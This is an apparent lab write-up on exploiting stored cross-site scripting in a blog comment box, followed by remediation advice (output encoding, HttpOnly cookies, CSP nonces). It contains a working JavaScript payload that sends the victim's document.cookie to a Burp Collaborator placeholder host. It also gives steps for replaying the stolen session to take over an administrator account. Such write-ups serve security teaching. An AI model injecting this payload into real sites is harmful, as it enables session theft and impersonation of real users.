SCENARIO

The application contains a stored cross site scripting vulnerability in the comment box functionality as a simulated victim user views all comments after they are posted. We will try to exploit the vulnerability to exfiltrate the victim’s session cookie and then use this cookie to impersonate that victim.

**PROCEDURE**

1. Go the vulnerable web applications and open any post.
2. Post a comment with trash data but enter the payload into the comment box.
3. It will force the application to make a POST HTTP request to the BurpSuite’s Collaborator Client.
4. We will get a couple of requests but we need to observe the HTTP request only and we’ll find a session cookie there.
5. Copy the session cookie from there and try to replay the my-account request using BurpSuite’s Repeater tab.
6. Congratulations, we managed to break in the administrator’s account.

**PAYLOAD**

<script>

fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {

method: 'POST',

mode: 'no-cors',

body:document.cookie

});

</script>

**REMEDIATION**

1. **Input Validation:** Ensure that any data which is written to the webpage, especially from user inputs, adheres to expected patterns or values. For instance, disallowing any script tags or special characters in comment fields if they're not necessary.
2. **Output Encoding:** Before displaying user-generated content on the website, make sure it's safely encoded. For instance, characters like <, >, and & should be displayed as &lt;, &gt;, and &amp; respectively.
3. **Set HttpOnly Flag:** For cookies, especially session cookies, set the HttpOnly flag. This makes the cookies inaccessible to JavaScript, preventing scripts from reading or transmitting these values elsewhere.
4. **Sandbox User Content:** If possible, display user-generated content in a sandboxed iframe or a separate domain. This can help to isolate any malicious code from sensitive operations and data.
5. **Use Nonce Tokens:** Implement nonce tokens in script tags. Nonces are random tokens added to scripts, and with a proper CSP, only scripts that have the correct nonce value will execute. This ensures that injected scripts won't execute even if they manage to bypass other safeguards.